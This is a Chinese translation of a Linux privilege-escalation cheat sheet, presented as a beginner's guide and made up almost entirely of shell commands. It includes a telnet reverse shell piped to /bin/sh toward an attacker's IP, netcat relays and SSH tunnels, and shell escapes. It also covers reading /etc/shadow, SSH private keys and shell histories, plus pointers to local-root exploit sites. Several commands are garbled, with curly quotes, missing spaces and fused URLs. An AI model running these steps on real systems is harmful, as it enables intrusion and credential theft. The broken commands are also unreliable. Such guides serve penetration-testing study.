在本文开始之前,我想指出我不是专家。据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点)。下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令,做好要注重细节. 文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令。 列举关键点 (Linux)的提权是怎么一回事: 收集 – 枚举,枚举和一些更多的枚举。 过程 – 通过数据排序,分析和确定优先次序。 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。 适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。 尝试 – 做好准备,试验和错误。 操作类型 操作类型是什么版本? cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release 它的内核版本是什么? cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz 它的环境变量里有些什么? cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set 是否有台打印机? lpstat -a 应用与服务 正在运行什么服务?什么样的服务具有什么用户权限? ps aux ps -ef top cat /etc/service 哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查! ps aux | grep root ps -ef | grep root 安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的? ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件? cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/ 主机上有哪些工作计划? crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root 主机上可能有哪些纯文本用户名和密码? grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla 通信与网络 NIC(s),系统有哪些?它是连接到哪一个网络? /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network 网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关? cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname 其他用户主机与系统的通信? lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w 缓存?IP和/或MAC地址? arp -e route /sbin/route -nee 数据包可能嗅探吗?可以看出什么?监听流量 # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 你如何get一个shell?你如何与系统进行交互? # http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. 输入 (命令) nc -lvp 4445 # Attacker. 输出(结果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP! 如何端口转发?(端口重定向) # rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch # fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) 建立隧道可能吗?本地,远程发送命令 ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig 秘密信息和用户 你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢? id who w last cat /etc/passwd | cut -d: # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l 可以找到什么敏感文件? cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ 什么有趣的文件在home/directorie(S)里?如果有权限访问 ls -ahlR /root/ ls -ahlR /home/ 是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg 用户做过什么?是否有任何密码呢?他们有没有编辑什么? cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history 可以找到什么样的用户信息 cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root private-key 信息能否被发现? cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key 文件系统 哪些用户可以写配置文件在/ etc /?能够重新配置服务? ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone 在/ var /有什么可以发现? ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases 网站上的任何隐藏配置/文件?配置文件与数据库信息? ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ 有什么在日志文件里?(什么能够帮助到“本地文件包含”?) # http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……) 如果命令限制,你可以打出哪些突破它的限制? python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i 如何安装文件系统? mount df -h 是否有挂载的文件系统? cat /etc/fstab 什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied) find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null 在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录 find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders Any "problem" files?可写的的,“没有使用"的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files 准备和查找漏洞利用代码 安装了什么开发工具/语言/支持? find / -name perl* find / -name python* find / -name gcc* find / -name cc 如何上传文件? find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp 查找exploit代码 http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com 查找更多有关漏洞的信息 http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE] http://www.91ri.org/ (快速)“共同的“exploit,预编译二进制代码文件 http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/ 上面的信息很难吗? 快去使用第三方脚本/工具来试试吧! 系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁? apt-get update && apt-get upgrade yum update 服务运行所需的最低的权限? 例如,你需要以root身份运行MySQL? 能够从以下网站找到自动运行的脚本?! http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net (快速)指南和链接 例如 http://www.0daysecurity.com/penetration-testing/enumeration.html http://www.microloft.co.uk/hacking/hacking3.htm 其他 http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html (责任编辑:IT) |